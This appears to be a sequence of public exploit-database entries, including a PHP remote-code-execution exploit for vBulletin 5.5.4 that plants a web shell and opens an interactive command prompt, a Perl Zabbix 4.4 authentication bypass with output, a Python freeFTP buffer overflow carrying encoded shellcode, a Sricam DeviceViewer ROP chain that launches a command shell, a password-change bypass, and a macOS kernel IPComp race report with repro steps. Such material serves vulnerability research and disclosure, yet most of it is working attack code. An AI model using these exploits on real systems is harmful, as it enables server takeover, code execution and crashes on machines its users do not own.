(!extension_loaded("curl")) die("[-] cURL extension required!\n"); print "+-------------------------------------------------------------------------+"; print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |"; print "\n+-------------------------------------------------------------------------+\n"; if ($argc != 4) { print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n"; print "\nExample....: php $argv[0] http://localhost/vb/ user passwd"; print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n"; curl_setopt($ch, CURLOPT_URL, $url); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}"); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Retrieving security token...\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n"); print "[-] Uploading new avatar...\n"; $params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]]; curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture"); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_HEADER, false); if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n"); if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n"); print "[-] Updating avatar with PHP shell...\n"; $php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>'; $params = ["routestring" => "ajax/api/user/updateAvatar", "userid" => 0, "avatarid" => 0, "data[extension]" => "php", "data[filedata]" => $php_code, "securitytoken" => $token[1]]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); if (curl_exec($ch) !== "true") die("[-] Update failed!\n"); print "[-] Launching shell...\n"; preg_match('/(\d+)\.jpeg/', $path, $m); $path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path); curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}"); curl_setopt($ch, CURLOPT_POST, false); while(1) { print "\nvb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]); preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }
  16. # Exploit Title: Zabbix 4.4 - Authentication Bypass # Date: 2019-10-06 # Exploit Author: Todor Donev # Software Link: https://www.zabbix.com/download # Version: Zabbix 4.4 # Tested on: Linux Apache/2 PHP/7.2 # # Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit # # Copyright 2019 (c) Todor Donev # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit # # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com> # # [ Initializing the browser # # [ >>> Referer => # # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 # # [ >>> Content-Type => application/x-www-form-urlencoded # # [ <<< Cache-Control => no-store, no-cache, must-revalidate # # [ <<< Connection => close # # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT # # [ <<< Pragma => no-cache # # [ <<< Server => nginx # # [ <<< Vary => Accept-Encoding # # [ <<< Content-Type => text/html; charset=UTF-8 # # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT # # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT # # [ <<< Client-Peer => # # [ <<< Client-Response-Num => 1 # # [ <<< Client-SSL-Cert-Issuer => # # [ <<< Client-SSL-Cert-Subject => # # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256 # # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL # # [ <<< Client-SSL-Warning => Peer certificate not verified # # [ <<< Client-Transfer-Encoding => chunked # # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css" # # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly # # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload # # [ <<< Title => TARGET: Dashboard # # [ <<< X-Content-Type-Options => nosniff # # [ <<< X-Frame-Options => SAMEORIGIN # # [ <<< X-Meta-Author => Zabbix SIA # # [ <<< X-Meta-Charset => utf-8 # # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d # # [ <<< X-Meta-Msapplication-Config => none # # [ <<< X-Meta-Msapplication-TileColor => #d40000 # # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png # # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1 # # [ <<< X-UA-Compatible => IE=Edge # # [ <<< X-XSS-Protection => 1; mode=block # # [ # # [ The target is vulnerable. Try to open these links: # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1 # # [ https://TARGET/zabbix/overview.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1 # # [ https://TARGET/zabbix/latest.php?ddreset=1 # # [ https://TARGET/zabbix/charts.php?ddreset=1 # # [ https://TARGET/zabbix/screens.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1 # # [ https://TARGET/zabbix/srv_status.php?ddreset=1 # # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1 # # [ https://TARGET/zabbix/hostinventories.php?ddreset=1 # # [ https://TARGET/zabbix/report2.php?ddreset=1 # # [ https://TARGET/zabbix/toptriggers.php?ddreset=1 # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list # # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1 # #!/usr/bin/perl -w use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use HTML::TreeBuilder; my $host = shift || ''; # Full path url to the store $host =~ s|/$||; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n"; print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n"; print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/); print "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]); my $response = $browser->request($request); print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names; print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names; print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401'); print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403'); if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){ print "[\n[ The target is vulnerable. Try to open these links:\n"; my $tree = HTML::TreeBuilder->new_from_content($response->as_string()); my @files = $tree->look_down(_tag => 'a'); for my $line (@files){ next if ($line->attr('href') =~ m/javascript/); next if ($line->attr('href') =~ m/\#/); next if ($line->attr('href') =~ m/http/); print "[ ", $host."/zabbix/".$line->attr('href'), "\n"; } } else { print "[ Exploit failed! The target isn't vulnerable\n"; exit; }
  17. # Exploit Title: freeFTP 1.0.8 - Remote Buffer Overflow # Date: 2019-09-01 # Author: Chet Manly # Software Link: https://download.cnet.com/FreeFTP/3000-2160_4-10047242.html # Version: 1.0.8 # CVE: N/A from ftplib import FTP buf = "" buf += "\x89\xe1\xdb\xdf\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x48\x68\x6d" buf += "\x52\x57\x70\x75\x50\x63\x30\x51\x70\x6c\x49\x38\x65" buf += "\x64\x71\x79\x50\x31\x74\x6e\x6b\x52\x70\x44\x70\x4e" buf += "\x6b\x66\x32\x44\x4c\x6c\x4b\x30\x52\x57\x64\x4c\x4b" buf += "\x43\x42\x64\x68\x36\x6f\x58\x37\x32\x6a\x55\x76\x36" buf += "\x51\x79\x6f\x6c\x6c\x77\x4c\x61\x71\x43\x4c\x63\x32" buf += "\x56\x4c\x47\x50\x6b\x71\x5a\x6f\x34\x4d\x45\x51\x6f" buf += "\x37\x68\x62\x6a\x52\x76\x32\x70\x57\x4c\x4b\x73\x62" buf += "\x44\x50\x4c\x4b\x72\x6a\x77\x4c\x6c\x4b\x72\x6c\x57" buf += "\x61\x52\x58\x49\x73\x47\x38\x33\x31\x68\x51\x66\x31" buf += "\x6c\x4b\x31\x49\x55\x70\x47\x71\x69\x43\x6c\x4b\x72" buf += "\x69\x32\x38\x39\x73\x64\x7a\x63\x79\x4c\x4b\x37\x44" buf += "\x6c\x4b\x66\x61\x4a\x76\x35\x61\x39\x6f\x6c\x6c\x6f" buf += "\x31\x68\x4f\x54\x4d\x33\x31\x78\x47\x35\x68\x49\x70" buf += "\x30\x75\x49\x66\x45\x53\x51\x6d\x49\x68\x37\x4b\x73" buf += "\x4d\x61\x34\x71\x65\x6d\x34\x36\x38\x4c\x4b\x32\x78" buf += "\x65\x74\x66\x61\x6a\x73\x65\x36\x4c\x4b\x74\x4c\x30" buf += "\x4b\x4c\x4b\x51\x48\x57\x6c\x75\x51\x6a\x73\x6c\x4b" buf += "\x53\x34\x6e\x6b\x43\x31\x4a\x70\x4d\x59\x53\x74\x66" buf += "\x44\x55\x74\x53\x6b\x31\x4b\x63\x51\x36\x39\x62\x7a" buf += "\x62\x71\x69\x6f\x6d\x30\x71\x4f\x51\x4f\x71\x4a\x4e" buf += "\x6b\x62\x32\x6a\x4b\x6e\x6d\x53\x6d\x70\x6a\x47\x71" buf += "\x4c\x4d\x4e\x65\x4c\x72\x53\x30\x65\x50\x47\x70\x66" buf += "\x30\x30\x68\x65\x61\x4c\x4b\x32\x4f\x4c\x47\x6b\x4f" buf += "\x69\x45\x4d\x6b\x6c\x30\x48\x35\x4e\x42\x71\x46\x52" buf += "\x48\x59\x36\x4a\x35\x4d\x6d\x6d\x4d\x79\x6f\x38\x55" buf += "\x47\x4c\x33\x36\x53\x4c\x56\x6a\x6f\x70\x49\x6b\x6b" buf += "\x50\x73\x45\x37\x75\x6d\x6b\x31\x57\x46\x73\x63\x42" buf += "\x72\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x48\x55\x55" buf += "\x33\x35\x31\x32\x4c\x53\x53\x66\x4e\x55\x35\x72\x58" buf += "\x45\x35\x53\x30\x41\x41" buf = 'A' * 276 buf += '\x90' * 10 buf += shellcode buf += 'B' * (486 - len(shellcode)) buf += '\x58' # pop eax buf += '\xfe\xcc' # dec ah buf += '\xfe\xcc' # dec ah buf += '\xff\xe0' # jmp eax buf += 'C' * 4 buf += '\xe8\xf0\xff\xff\xff' # call near buf += 'D' * 9 buf += '\xeb\xf0\x90\x90' # jump backwards buf += '\xc0\x3d\x42\x00' # 0x00423dc0 - pop, pop, ret buf += 'E' * (1000 - len(buf)) ftp = FTP() ftp.connect('192.168.1.1', 21) ftp.login('anonymous', buf)
  18. # Exploit Title: Sricam DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass) # Date: 08/10/2019 # Exploit Author: Alessandro Magnosi # Vendor Homepage: http://www.sricam.com/ # Software Link: http://download.sricam.com/Manual/DeviceViewer.exe # Version: v3.12.0.1 # Exploit type: Local # Tested on: Windows 7 SP1 # Steps to reproduce: # 1. Get the WinExec address from arwin.exe kernel32.dll WinExec # 2. Change the related address in the PoC # 3. Generate the payload using the PoC # 4. Log in the Sricam DeviceViewer application # 5. Go to System Configuration -> User Management # 6. Put the content of the generated file in User Info -> Username # 7. Click on Add # 8. A command shell will appear #!/usr/bin/python from struct import pack, unpack def create_rop_chain(): rops = [ 0x6a1142aa, # XOR EDX,EDX # RETN 0x6a569810, # POP EDX # RETN [avcodec-54.dll] 0x6ae9c126, # &Writable location [avutil-50.dll] 0x6a5dac8a, # POP EAX # RETN 0xff9b929d, # NEG "cmd\0" 0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll] 0x6994766b, # PUSH EAX # MOV DWORD PTR DS:[EDX],EAX # ADD ESP,3C # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avformat-54.dll] 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a18e062, # ADD ESP, 10 # RETN ---> ESI 0x6a2420ea, # ROP NOP ---> EDI 0x6a45e446, # XCHG EAX,EDX # RETN [avcodec-54.dll] 0x6a29d716, # XCHG EAX,ECX # RETN [avcodec-54.dll] ## ECX = ascii "cmd\0" 0x6a569810, # POP EDX # RETN [avcodec-54.dll] 0x6a36264a, # CALL EBX ## EDX = CALL EBX 0x6a5dac8a, # POP EAX # RETN 0x76e33231, # ptr to WinExec() [kernel32.dll] #### Unfortunately, this has to be hardcoded as no reliable pointer is available into the aplication 0x6a150411, # XCHG EAX,EBX # RETN [avcodec-54.dll] ## EBX = &WinExec 0x6a5dac8a, # POP EAX # RETN 0xffffffff, # -0x00000001-> ebx 0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll] ## EAX = 1 0x6a5eb992, # PUSHAD # RETN [avcodec-54.dll] 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP 0x6a2420ea, # ROP NOP ] return ''.join(pack('<I', _) for _ in rops) def nops(length): return "\x90" * length rop_chain = create_rop_chain() maxlen = 5000 # Stack pivoting address # 0x6a443e58 : {pivot 2252 / 0x8cc} : # ADD ESP,8BC # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avcodec-54.dll] seh = pack("<I", 0x6a443e58) # Don't care nseh nseh = nops(4) payload = nops(8) + rop_chain + nops(360 - len(rop_chain) - 8) + nops(20) + nseh + seh + nops(300) sec = maxlen - len(payload) payload += nops(sec) # More junk to reach 5000 print("Exploit Length: " + str(len(payload))) try: fname = "exprop.txt" exploit = open(fname,"w") print("Sricam DeviceViewer 3.12.0.1 Local Buffer Overflow Exploit") print("Author: Alessandro Magnosi\n") print("[*] Creating evil username") exploit.write(payload) exploit.close() print("[+] Username file created\n") print("[i] Now go to 'User Management' and try to add a user with user=<filecontent>") print("[+] A command shell will open") except: print("[!] Error creating the file")
  19. # Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change # Date: 2019-09-10 # Exploit Author: Alessandro Magnosi # Vendor Homepage: http://www.sricam.com/ # Software Link: http://download.sricam.com/Manual/DeviceViewer.exe # Version: v3.12.0.1 # Tested on: Windows 7 #!/usr/bin/python # Steps to reproduce: # 1. Generate the payload executing the PoC # 2. Login in the Sricam DeviceViewer application as any registered user # 3. Go to System Tools -> Change Password # 4. Set the old password as the malicious payload, and the new password as whatever you want # 5. The password will be changed with the new one # 6. To confirm, restart the application and try to login with the new password payload = "A" * 5000 try: bypass = open("bypass.txt","w") print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass") print("### Author: Alessandro Magnosi\n") print("[*] Creating old password file") bypass.write(payload) bypass.close() print("[+] Old password file created\n") print("[i] When changing password, set the old password to the file contents") print("[i] Close the program and reopen it") print("[i] Log in with new password") except: print("[!] Error creating the file")
  20. === Summary === This report describes a bug in the XNU implementation of the IPComp protocol (https://tools.ietf.org/html/rfc3173). This bug can be remotely triggered by an attacker who is able to send traffic to a macOS system (iOS AFAIK isn't affected) *over two network interfaces at the same time*. === Some basics to provide context === IPComp is a protocol for compressing the payload of IP packets. The XNU implementation of IPComp is (going by the last public XNU release) enabled only on X86-64; ARM64 doesn't seem to have the feature enabled at all (look for ipcomp_zlib in config/MASTER.x86_64 and config/MASTER.arm64). In other words, it's enabled on macOS and disabled on iOS. While IPComp is related to IPsec, the IPComp input path processes input even when the user has not configured any IPsec stuff on the system. zlib requires fairly large buffers for decompression and especially for compression. In order to avoid allocating such buffers for each packet, IPComp uses two global z_stream instances "deflate_stream" and "inflate_stream". If IPComp isn't used, the buffer pointers in these z_stream instances remain NULL; only when IPComp is actually used, the kernel will attempt to initialize the buffer pointers. As far as I can tell, the IPComp implementation of XNU has been completely broken for years, which makes it impossible to actually reach the decompression code. ipcomp_algorithm_lookup() is responsible for allocating global buffers for the compression and decompression code; however, all of these allocations go through deflate_alloc(), which (since xnu-1228, which corresponds to macOS 10.5 from 2007) calls _MALLOC() with M_NOWAIT. _MALLOC() leads to kalloc_canblock(), which, if the M_NOWAIT flag was set and the allocation is too big for a kalloc zone (size >= kalloc_max_prerounded), immediately returns NULL. On X86-64, kalloc_max_prerounded is 0x2001; both deflateInit2() and inflateInit2() attempt allocations bigger than that, causing them to fail with Z_MEM_ERROR, as is visible with dtrace when observing the system's reaction to a single incoming IPComp packet [empty lines removed]: ``` bash-3.2# ./inflate_test.dtrace dtrace: script './inflate_test.dtrace' matched 11 probes CPU ID FUNCTION:NAME 0 243037 deflateInit2_:entry deflate init (thread=ffffff802db84a40) 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x1738, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff80496b9800 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff802f42f000 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 0 243038 deflateInit2_:return rval=0xfffffffc 0 243073 inflateInit2_:entry inflate init (thread=ffffff802db84a40) 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2550, canblock=0, site=ffffff8018e787e8) 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 0 243074 inflateInit2_:return rval=0xfffffffc ``` (On iOS, the kalloc() limit seems to be higher, so if IPComp was built there, the input path might actually work?) === main bug description === IPComp uses a single global `static z_stream inflate_stream` for decompressing all incoming packets. This global is used without any locking. While processing of packets from a single interface seems to be single-threaded, packets arriving on multiple ethernet interfaces at the same time (or on an ethernet interface and a non-ethernet interface) can be processed in parallel (see dlil_create_input_thread() and its caller for the precise threading rules). Since zlib isn't designed for concurrent use of a z_stream, this leads to memory corruption. If IPComp actually worked, I believe that this bug would lead to things like out-of-bounds reads, out-of-bounds writes and use-after-frees. However, since IPComp never actually manages to set up the compression and decompression state, the bug instead manifests in the code that, for every incoming IPComp packet, attempts to set up the deflate buffers and tears down the successfully allocated buffers because some of the allocations failed: ``` int ZEXPORT deflateInit2_(z_streamp strm, int level, int method, int windowBits, int memLevel, int strategy, const char *version, int stream_size) { [...] if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || windowBits < 8 || windowBits > 15 || level < 0 || level > 9 || strategy < 0 || strategy > Z_FIXED) { return Z_STREAM_ERROR; } if (windowBits == 8) windowBits = 9; /* until 256-byte window bug fixed */ s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); if (s == Z_NULL) return Z_MEM_ERROR; strm->state = (struct internal_state FAR *)s; [...] s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); s->pending_buf = (uchf *) overlay; [...] if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || s->pending_buf == Z_NULL) { [...] deflateEnd (strm); return Z_MEM_ERROR; } [...] } [...] int ZEXPORT deflateEnd(z_streamp strm) { [...] /* Deallocate in reverse order of allocations: */ TRY_FREE(strm, strm->state->pending_buf); TRY_FREE(strm, strm->state->head); TRY_FREE(strm, strm->state->prev); TRY_FREE(strm, strm->state->window); ZFREE(strm, strm->state); strm->state = Z_NULL; return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; } ``` When multiple executions of this code race, it is possible for two threads to free the same buffer, causing a double-free: ``` *** Panic Report *** panic(cpu 2 caller 0xffffff8012802df5): "zfree: double free of 0xffffff80285d9000 to zone kalloc.8192\n"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.261.4/osfmk/kern/zalloc.c:1304 Backtrace (CPU 2), Frame : Return Address 0xffffff912141b420 : 0xffffff80127aea2d mach_kernel : _handle_debugger_trap + 0x47d 0xffffff912141b470 : 0xffffff80128e9e95 mach_kernel : _kdp_i386_trap + 0x155 0xffffff912141b4b0 : 0xffffff80128db70a mach_kernel : _kernel_trap + 0x50a 0xffffff912141b520 : 0xffffff801275bb40 mach_kernel : _return_from_trap + 0xe0 0xffffff912141b540 : 0xffffff80127ae447 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff912141b660 : 0xffffff80127ae293 mach_kernel : _panic + 0x63 0xffffff912141b6d0 : 0xffffff8012802df5 mach_kernel : _zcram + 0xa15 0xffffff912141b710 : 0xffffff8012804d4a mach_kernel : _zfree + 0x67a 0xffffff912141b7f0 : 0xffffff80127bac58 mach_kernel : _kfree_addr + 0x68 0xffffff912141b850 : 0xffffff8012dfc837 mach_kernel : _deflateEnd + 0x87 0xffffff912141b870 : 0xffffff8012dfc793 mach_kernel : _deflateInit2_ + 0x253 0xffffff912141b8c0 : 0xffffff8012c164a3 mach_kernel : _ipcomp_algorithm_lookup + 0x63 0xffffff912141b8f0 : 0xffffff8012c16fb2 mach_kernel : _ipcomp4_input + 0x112 0xffffff912141b990 : 0xffffff8012b89907 mach_kernel : _ip_proto_dispatch_in_wrapper + 0x1a7 0xffffff912141b9e0 : 0xffffff8012b8bfa6 mach_kernel : _ip_input + 0x18b6 0xffffff912141ba40 : 0xffffff8012b8a5a9 mach_kernel : _ip_input_process_list + 0xc69 0xffffff912141bcb0 : 0xffffff8012aac3ed mach_kernel : _proto_input + 0x9d 0xffffff912141bce0 : 0xffffff8012a76c41 mach_kernel : _ether_attach_inet + 0x471 0xffffff912141bd70 : 0xffffff8012a6b036 mach_kernel : _dlil_rxpoll_set_params + 0x1b36 0xffffff912141bda0 : 0xffffff8012a6aedc mach_kernel : _dlil_rxpoll_set_params + 0x19dc 0xffffff912141bf10 : 0xffffff8012a692e9 mach_kernel : _ifp_if_ioctl + 0x10d9 0xffffff912141bfa0 : 0xffffff801275b0ce mach_kernel : _call_continuation + 0x2e BSD process name corresponding to current thread: kernel_task Boot args: -zp -v keepsyms=1 Mac OS version: 18F132 Kernel version: Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDT 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 Kernel UUID: 7C8BB636-E593-3CE4-8528-9BD24A688851 Kernel slide: 0x0000000012400000 Kernel text base: 0xffffff8012600000 __HIB text base: 0xffffff8012500000 System model name: Macmini7,1 (Mac-XXXXXXXXXXXXXXXX) ``` === Repro steps === You'll need a Mac (I used a Mac mini) and a Linux workstation. Stick two USB ethernet adapters into the Mac. Make sure that your Linux workstation has two free ethernet ports; if it doesn't, also stick USB ethernet adapters into your workstation. Take two ethernet cables; for both of them, stick one end into the Linux workstation and the other end into the Mac. Set up static IP addresses for both interfaces on the Linux box and the Mac. I'm using: - Linux, first connection: 192.168.250.1/24 - Mac, first connection: 192.168.250.2/24 - Linux, second connection: 192.168.251.1/24 - Mac, second connection: 192.168.251.2/24 On the Linux workstation, ping both IP addresses of the Mac, then dump the relevant ARP table entries: ``` $ ping -c1 192.168.250.2 PING 192.168.250.2 (192.168.250.2) 56(84) bytes of data. 64 bytes from 192.168.250.2: icmp_seq=1 ttl=64 time=0.794 ms [...] $ ping -c1 192.168.251.2 PING 192.168.251.2 (192.168.251.2) 56(84) bytes of data. 64 bytes from 192.168.251.2: icmp_seq=1 ttl=64 time=0.762 ms [...] $ arp -n | egrep '192\.168\.25[01]' 192.168.250.2 ether aa:aa:aa:aa:aa:aa C eth0 192.168.251.2 ether bb:bb:bb:bb:bb:bb C eth1 $ ``` On the Linux workstation, build the attached ipcomp_uaf.c and run it: ``` $ gcc -o ipcomp_recursion ipcomp_recursion.c -Wall $ sudo bash # ./ipcomp_uaf usage: ./ipcomp_uaf <if1> <target_mac1> <src_ip1> <dst_ip1> <if2> <target_mac2> <src_ip2> <dst_ip2> # ./ipcomp_uaf eth0 aa:aa:aa:aa:aa:aa 192.168.250.1 192.168.250.2 eth1 bb:bb:bb:bb:bb:bb 192.168.251.1 192.168.251.2 ``` After something like a second, you should be able to observe that the Mac panics. I have observed panics via double-free and via null deref triggered by the PoC. (Stop the PoC afterwards, otherwise it'll panic again as soon as the network interfaces are up.) (The PoC also works if you use broadcast addresses as follows: ``` # ./ipcomp_uaf eth0 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 eth1 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 ```) === Fixing the bug === I believe that by far the best way to fix this issue is to rip out the entire feature. Unless I'm missing some way for the initialization to succeed, it looks like nobody can have successfully used this feature in the last few years; and apparently nobody felt strongly enough about that to get the feature fixed. At the same time, this thing is remote attack surface in the IP stack, and it looks like it has already led to a remote DoS bug in the past - the first search result on bing.com for both "ipcomp macos" and "ipcomp xnu" is <https://www.exploit-db.com/exploits/5191>. In case you decide to fix the bug in a different way, please note: - I believe that this can *NOT* be fixed by removing the PR_PROTOLOCK flag from the entries in `inetsw` and `inet6sw`. While removal of that flag would cause the input code to take the domain mutex before invoking the protocol handler, IPv4 and IPv6 are different domains, and so concurrent processing of IPv4+IPComp and IPv6+IPComp packets would probably still trigger the bug. - If you decide to fix the memory allocation of IPComp so that the input path works again (please don't - you'll never again have such a great way to prove that nobody is using that code), I think another bug will become reachable: I don't see anything that prevents unbounded recursion between ip_proto_dispatch_in() and ipcomp4_input() using an IP packet with a series of IPComp headers, which would be usable to cause a kernel panic via stack overflow with a single IP packet. In case you want to play with that, I wrote a PoC that generates packets with 100 such headers and attached it as ipcomp_recursion.c. (The other IPv6 handlers for pseudo-protocols like IPPROTO_FRAGMENT seem to avoid this problem by having the ) Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47479.zip
